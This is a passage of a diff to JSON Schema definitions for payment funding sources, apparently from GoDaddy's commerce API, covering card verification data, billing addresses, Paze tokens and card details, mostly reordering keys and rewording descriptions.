"cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" } - } + }, + "title": "Payment Token Funding Source", + "type": "object" } ], + "description": "Paze Funding source", "properties": { - "token": { - "type": "string", - "description": "Paze payment token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, "cardDetail": { - "description": "Card that was used with the Paze payment token", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "x-currency-type": true, + "x-custom-type": true }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -5893,210 +5810,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -6105,29 +6017,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -6146,135 +6064,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -6283,73 +6163,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + 